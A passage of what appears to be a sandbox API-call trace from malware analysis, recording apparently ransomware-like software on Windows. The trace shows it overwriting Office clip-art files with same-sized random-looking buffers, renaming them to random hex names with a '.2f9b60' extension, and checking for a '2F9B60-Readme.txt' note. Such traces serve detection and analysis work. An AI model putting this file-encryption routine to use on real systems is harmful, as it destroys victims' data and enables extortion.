[0125.120] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="c2") returned 2 [0125.120] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="cc") returned 2 [0125.120] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="b9") returned 2 [0125.120] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="0e") returned 2 [0125.120] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="cf") returned 2 [0125.120] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="ea") returned 2 [0125.120] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="11") returned 2 [0125.120] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="3e") returned 2 [0125.120] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="d1") returned 2 [0125.120] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="09") returned 2 [0125.120] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="d4") returned 2 [0125.120] RtlInitAnsiString (in: DestinationString=0x219af708, SourceString="83d49b9a0afb6cbcaf380727aac2ccb90ecfea113ed109d4" | out: DestinationString="83d49b9a0afb6cbcaf380727aac2ccb90ecfea113ed109d4") [0125.120] RtlAnsiStringToUnicodeString (in: DestinationString=0x219af6d8, SourceString="83d49b9a0afb6cbcaf380727aac2ccb90ecfea113ed109d4", AllocateDestinationString=1 | out: DestinationString="83d49b9a0afb6cbcaf380727aac2ccb90ecfea113ed109d4") returned 0x0 [0125.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8647d0 [0125.120] wcscat (in: _Dest=0x2027bd70, _Source="83d49b9a0afb" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\83d49b9a0afb") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\83d49b9a0afb" [0125.120] wcscat (in: _Dest=0x2027bd70, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\83d49b9a0afb.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\83d49b9a0afb.2f9b60" [0125.120] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\83d49b9a0afb.2f9b60", NtPathName=0x219af6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\83d49b9a0afb.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0125.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107780 [0125.122] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107780) returned 1 [0125.122] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48b30) returned 1 [0125.122] NtQueryInformationFile (in: FileHandle=0x1038, IoStatusBlock=0x219af718, FileInformation=0x219af728, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x219af718, FileInformation=0x219af728) returned 0x0 [0125.122] NtSetInformationFile (FileHandle=0x1038, IoStatusBlock=0x219af718, FileInformation=0x219af728, Length=0x28, FileInformationClass=0x4) returned 0x0 [0125.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027bd70) returned 1 [0125.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8647d0) returned 1 [0125.124] FlushFileBuffers (hFile=0x1038) returned 1 [0125.125] CloseHandle (hObject=0x1038) returned 1 [0125.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027bd70 [0125.126] wcscpy (in: _Dest=0x2027bd70, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0125.126] wcscat (in: _Dest=0x2027bd70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0125.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0125.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027bd70) returned 1 [0125.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b6d0) returned 1 Thread: id = 1560 os_tid = 0x1828 Thread: id = 1561 os_tid = 0x1808 Thread: id = 1562 os_tid = 0xf28 Thread: id = 1563 os_tid = 0x112c Thread: id = 1564 os_tid = 0x10e8 Thread: id = 1565 os_tid = 0x1830 Thread: id = 1566 os_tid = 0xc98 Thread: id = 1567 os_tid = 0xf3c Thread: id = 1568 os_tid = 0x1920 Thread: id = 1569 os_tid = 0x1970 Thread: id = 1570 os_tid = 0x18f0 Thread: id = 1571 os_tid = 0x1a74 Thread: id = 1572 os_tid = 0x18e4 Thread: id = 1573 os_tid = 0x1838 Thread: id = 1574 os_tid = 0x1940 Thread: id = 1575 os_tid = 0xc9c Thread: id = 1576 os_tid = 0xc94 Thread: id = 1577 os_tid = 0xdf0 Thread: id = 1578 os_tid = 0xdf4 Thread: id = 1579 os_tid = 0x1900 Thread: id = 1580 os_tid = 0x1904 Thread: id = 1581 os_tid = 0xef4 Thread: id = 1582 os_tid = 0x1908 Thread: id = 1583 os_tid = 0x190c Thread: id = 1584 os_tid = 0x1910 Thread: id = 1585 os_tid = 0x1918 Thread: id = 1586 os_tid = 0x1914 Thread: id = 1587 os_tid = 0x18f4 Thread: id = 1588 os_tid = 0x18f8 Thread: id = 1589 os_tid = 0x18fc Thread: id = 1590 os_tid = 0xde8 Thread: id = 1591 os_tid = 0xf20 Thread: id = 1592 os_tid = 0x1874 Thread: id = 1593 os_tid = 0x1860 Thread: id = 1594 os_tid = 0x184c Thread: id = 1595 os_tid = 0x1870 Thread: id = 1596 os_tid = 0x1a24 Thread: id = 1597 os_tid = 0x19a0 Thread: id = 1598 os_tid = 0x1a54 Thread: id = 1599 os_tid = 0x19b4 Thread: id = 1600 os_tid = 0x1aac Thread: id = 1601 os_tid = 0x1aa0 Thread: id = 1602 os_tid = 0x19b0 Thread: id = 1603 os_tid = 0x1a64 Thread: id = 1604 os_tid = 0x1a8c Thread: id = 1605 os_tid = 0xdf8 Thread: id = 1606 os_tid = 0x1850 Thread: id = 1607 os_tid = 0x1878 Thread: id = 1608 os_tid = 0x187c Thread: id = 1609 os_tid = 0x185c Thread: id = 1610 os_tid = 0x1974 Thread: id = 1611 os_tid = 0x1a28 Thread: id = 1612 os_tid = 0x1ab4 [0125.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf")) returned 0x20 [0125.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF", dwFileAttributes=0x20) returned 1 [0125.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1038 [0125.135] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x21f7f8c0 | out: lpFileSize=0x21f7f8c0*=2436) returned 1 [0125.135] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x980, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.135] ReadFile (in: hFile=0x1038, lpBuffer=0x21f7f840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21f7f888, lpOverlapped=0x0 | out: lpBuffer=0x21f7f840*, lpNumberOfBytesRead=0x21f7f888*=0x4, lpOverlapped=0x0) returned 1 [0125.137] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ac0 [0125.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a65c0 [0125.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0125.138] NtQuerySystemTime (in: CurrentTime=0x21f7f780 | out: CurrentTime=0x21f7f780*=132462177305014000) returned 0x0 [0125.138] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0x5d39c9bc [0125.138] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0x191f11ea [0125.138] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0x7d709ff1 [0125.138] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0x37fd82c7 [0125.138] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0x2b131540 [0125.138] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0x595578b8 [0125.138] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0x45f1f3d9 [0125.138] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0x102ccdbe [0125.138] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0x3ada0ece [0125.138] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0xc3d5b4c [0125.138] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0x23af946a [0125.138] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0x5f08b345 [0125.138] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0x139ceabb [0125.138] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0x4ae7aa54 [0125.138] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0x44546a9d [0125.138] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0x618cb7f [0125.138] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0x4d90d627 [0125.138] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0x63a2b9e7 [0125.138] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0x376190c7 [0125.138] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0x3bb605d1 [0125.138] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0x18487686 [0125.138] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0x85bea28 [0125.138] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0x191f11ea [0125.138] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0x7500c7c5 [0125.138] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0x4e15db68 [0125.138] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0x485e68a2 [0125.138] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0x5a719e7f [0125.138] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0x6f7b7b9c [0125.138] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0x5faeb68f [0125.138] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0x14fcda78 [0125.139] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0x5fadf5af [0125.139] RtlRandomEx (in: Seed=0x21f7f770 | out: Seed=0x21f7f770) returned 0x4ffddf57 [0125.148] ReadFile (in: hFile=0x1038, lpBuffer=0x41b22d00, nNumberOfBytesToRead=0x984, lpNumberOfBytesRead=0x21f7f770, lpOverlapped=0x0 | out: lpBuffer=0x41b22d00*, lpNumberOfBytesRead=0x21f7f770*=0x984, lpOverlapped=0x0) returned 1 [0125.148] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.148] WriteFile (in: hFile=0x1038, lpBuffer=0x41b1f0f0*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x21f7f774, lpOverlapped=0x0 | out: lpBuffer=0x41b1f0f0*, lpNumberOfBytesWritten=0x21f7f774*=0x984, lpOverlapped=0x0) returned 1 [0125.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ac0 [0125.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0125.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a75b0) returned 1 [0125.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b1f0f0) returned 1 [0125.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b22d00) returned 1 [0125.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504190) returned 1 [0125.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0125.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a75b0 [0125.150] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0125.150] WriteFile (in: hFile=0x1038, lpBuffer=0x167280*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x21f7f890, lpOverlapped=0x0 | out: lpBuffer=0x167280*, lpNumberOfBytesWritten=0x21f7f890*=0x10a, lpOverlapped=0x0) returned 1 [0125.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0125.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504190 [0125.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6aa0 [0125.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6aa0) returned 1 [0125.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0125.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6aa0 [0125.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6b00 [0125.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6b00) returned 1 [0125.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504190) returned 1 [0125.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0125.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0125.152] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="21") returned 2 [0125.152] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="23") returned 2 [0125.152] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="5d") returned 2 [0125.152] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="a8") returned 2 [0125.152] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="e4") returned 2 [0125.152] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="8e") returned 2 [0125.152] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="15") returned 2 [0125.152] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="e5") returned 2 [0125.152] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="a8") returned 2 [0125.152] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="25") returned 2 [0125.152] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="4b") returned 2 [0125.153] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="ae") returned 2 [0125.153] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="33") returned 2 [0125.153] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="79") returned 2 [0125.153] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="60") returned 2 [0125.153] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="73") returned 2 [0125.153] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="67") returned 2 [0125.153] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="92") returned 2 [0125.153] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="d0") returned 2 [0125.153] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="cc") returned 2 [0125.153] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="e8") returned 2 [0125.153] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="9a") returned 2 [0125.153] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="0b") returned 2 [0125.153] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="97") returned 2 [0125.153] RtlInitAnsiString (in: DestinationString=0x21f7f908, SourceString="21235da8e48e15e5a8254bae337960736792d0cce89a0b97" | out: DestinationString="21235da8e48e15e5a8254bae337960736792d0cce89a0b97") [0125.153] RtlAnsiStringToUnicodeString (in: DestinationString=0x21f7f8d8, SourceString="21235da8e48e15e5a8254bae337960736792d0cce89a0b97", AllocateDestinationString=1 | out: DestinationString="21235da8e48e15e5a8254bae337960736792d0cce89a0b97") returned 0x0 [0125.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8639d0 [0125.153] wcscat (in: _Dest=0x2027bd70, _Source="21235da8e48e" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\21235da8e48e") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\21235da8e48e" [0125.153] wcscat (in: _Dest=0x2027bd70, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\21235da8e48e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\21235da8e48e.2f9b60" [0125.153] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\21235da8e48e.2f9b60", NtPathName=0x21f7f8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\21235da8e48e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0125.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107780 [0125.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107780) returned 1 [0125.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48b30) returned 1 [0125.155] NtQueryInformationFile (in: FileHandle=0x1038, IoStatusBlock=0x21f7f918, FileInformation=0x21f7f928, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x21f7f918, FileInformation=0x21f7f928) returned 0x0 [0125.155] NtSetInformationFile (FileHandle=0x1038, IoStatusBlock=0x21f7f918, FileInformation=0x21f7f928, Length=0x28, FileInformationClass=0x4) returned 0x0 [0125.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027bd70) returned 1 [0125.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8639d0) returned 1 [0125.156] FlushFileBuffers (hFile=0x1038) returned 1 [0125.158] CloseHandle (hObject=0x1038) returned 1 [0125.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027bd70 [0125.159] wcscpy (in: _Dest=0x2027bd70, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0125.159] wcscat (in: _Dest=0x2027bd70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0125.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0125.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027bd70) returned 1 [0125.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cba0) returned 1 Thread: id = 1613 os_tid = 0x1ab8 [0125.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf")) returned 0x20 [0125.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF", dwFileAttributes=0x20) returned 1 [0125.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1038 [0125.165] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2106fcc0 | out: lpFileSize=0x2106fcc0*=2732) returned 1 [0125.165] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0xaa8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.165] ReadFile (in: hFile=0x1038, lpBuffer=0x2106fc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2106fc88, lpOverlapped=0x0 | out: lpBuffer=0x2106fc40*, lpNumberOfBytesRead=0x2106fc88*=0x4, lpOverlapped=0x0) returned 1 [0125.166] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7520 [0125.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6b90 [0125.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7190 [0125.167] NtQuerySystemTime (in: CurrentTime=0x2106fb80 | out: CurrentTime=0x2106fb80*=132462177305326000) returned 0x0 [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x1691ace5 [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x695ca455 [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x3d4eaee2 [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x419d43bc [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x78ec2cc4 [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x1f700b64 [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x77be0163 [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x397ff4e3 [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x45c4b968 [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x38b75fc3 [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x76a64e9d [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x1a96f8c3 [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x2468e1 [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x67cdd893 [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x6bd204b9 [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x342f98c3 [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x54a74206 [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x45b729a8 [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x45b729a8 [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x165fe261 [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x2e14c0c0 [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x32ed4fce [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x698a5746 [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x354b2c23 [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x101ef986 [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x38b75fc3 [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x3e5b407d [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x1e052e8c [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x57c0e2bb [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x78b4689c [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x29ace7d1 [0125.167] RtlRandomEx (in: Seed=0x2106fb70 | out: Seed=0x2106fb70) returned 0x1445dcc9 [0125.174] ReadFile (in: hFile=0x1038, lpBuffer=0x41b22d00, nNumberOfBytesToRead=0xaac, lpNumberOfBytesRead=0x2106fb70, lpOverlapped=0x0 | out: lpBuffer=0x41b22d00*, lpNumberOfBytesRead=0x2106fb70*=0xaac, lpOverlapped=0x0) returned 1 [0125.174] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.174] WriteFile (in: hFile=0x1038, lpBuffer=0x41b1f0f0*, nNumberOfBytesToWrite=0xaac, lpNumberOfBytesWritten=0x2106fb74, lpOverlapped=0x0 | out: lpBuffer=0x41b1f0f0*, lpNumberOfBytesWritten=0x2106fb74*=0xaac, lpOverlapped=0x0) returned 1 [0125.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7520 [0125.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7190 [0125.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7190) returned 1 [0125.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b1f0f0) returned 1 [0125.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b22d00) returned 1 [0125.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504190) returned 1 [0125.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0125.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a7190 [0125.176] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, 